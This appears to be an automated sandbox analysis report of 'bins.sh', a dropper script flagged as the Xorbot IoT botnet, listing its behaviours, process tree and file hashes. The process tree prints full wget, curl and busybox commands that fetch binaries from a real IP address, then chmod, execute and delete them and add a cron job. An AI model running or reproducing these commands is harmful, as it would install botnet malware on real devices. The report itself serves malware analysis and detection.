Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-12-2024 11:01

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e6a2e72aaaf90ebe7d82938e172077aa

  • SHA1

    586d13e40c79839b26ced27f2eec1b6f3ed50138

  • SHA256

    0cf31871ca890b78df73b7cdc4d16804724efb6ecc9479a594027f8839888669

  • SHA512

    2de6dfca2072a2e192f68807acd079c840240b13a7c6b06f801407984d23224e9a5f7c0f1feffb24de8bf0f66760e268a41084b02e628f111339b01216c8e479

  • SSDEEP

    96:ywbeFBJFuwuXZgOFFh+2a92HfNKdHT4XJWOfhY4FBJFuwF9SpHfMWKE+2cwGB:jb2wpgSFh+2a92HfNv5p5MHfLz+2g

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:663
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Writes file to tmp directory
          PID:671
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:686
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • File and Directory Permissions Modification
          PID:697
        • /tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          ./mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Executes dropped EXE
          PID:698
        • /bin/rm
          rm mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
            PID:700
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Writes file to tmp directory
            PID:701
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:702
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Writes file to tmp directory
            PID:704
          • /bin/chmod
            chmod 777 ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • File and Directory Permissions Modification
            PID:708
          • /tmp/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            ./ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Executes dropped EXE
            PID:709
          • /bin/rm
            rm ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
              PID:711
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
              2⤵
              • Writes file to tmp directory
              PID:713
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:719
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
              2⤵
              • Writes file to tmp directory
              PID:726
            • /bin/chmod
              chmod 777 ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
              2⤵
              • File and Directory Permissions Modification
              PID:729
            • /tmp/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
              ./ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:731
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:733
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:734
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:736
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:737
                  • /bin/rm
                    rm ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                    2⤵
                      PID:742
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                      2⤵
                        PID:745
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                        2⤵
                          PID:747
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                          2⤵
                          • Writes file to tmp directory
                          PID:748
                        • /bin/chmod
                          chmod 777 CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:754
                        • /tmp/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                          ./CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                          2⤵
                          • Executes dropped EXE
                          PID:755
                        • /bin/rm
                          rm CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                          2⤵
                            PID:757
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/pNONOYg1dH63EskrYceMdhN134x986R0QL
                            2⤵
                              PID:760
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/pNONOYg1dH63EskrYceMdhN134x986R0QL
                              2⤵
                                PID:762
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/pNONOYg1dH63EskrYceMdhN134x986R0QL
                                2⤵
                                • Writes file to tmp directory
                                PID:764
                              • /bin/chmod
                                chmod 777 pNONOYg1dH63EskrYceMdhN134x986R0QL
                                2⤵
                                • File and Directory Permissions Modification
                                PID:772
                              • /tmp/pNONOYg1dH63EskrYceMdhN134x986R0QL
                                ./pNONOYg1dH63EskrYceMdhN134x986R0QL
                                2⤵
                                • Executes dropped EXE
                                PID:774
                              • /bin/rm
                                rm pNONOYg1dH63EskrYceMdhN134x986R0QL
                                2⤵
                                  PID:778
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                  2⤵
                                    PID:779
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                    2⤵
                                      PID:782
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:783
                                    • /bin/chmod
                                      chmod 777 vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:786
                                    • /tmp/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                      ./vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                      2⤵
                                      • Executes dropped EXE
                                      PID:787
                                    • /bin/rm
                                      rm vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                      2⤵
                                        PID:789
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                        2⤵
                                          PID:790

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /tmp/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/pNONOYg1dH63EskrYceMdhN134x986R0QL

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /var/spool/cron/crontabs/tmp.cBqIpU

                                        Filesize

                                        210B

                                        MD5

                                        076d0fb0defc3870ae293036c3bc8048

                                        SHA1

                                        02caf4ec4d7b4d7d161feb593ced5dabf722d9a8

                                        SHA256

                                        c21925ef75db181ebce7e5a87f70c08b6c311550c832ec5af4d30ff6004b8744

                                        SHA512

                                        b0ff2cabde0bc5ac8c4deec80e7b4cbbeb42f48978d10ceb7bf7d9b688142849df8c07eab6e821d05c4a7a5778b86a2f07833742becf87cf2fda8b708bbfb34f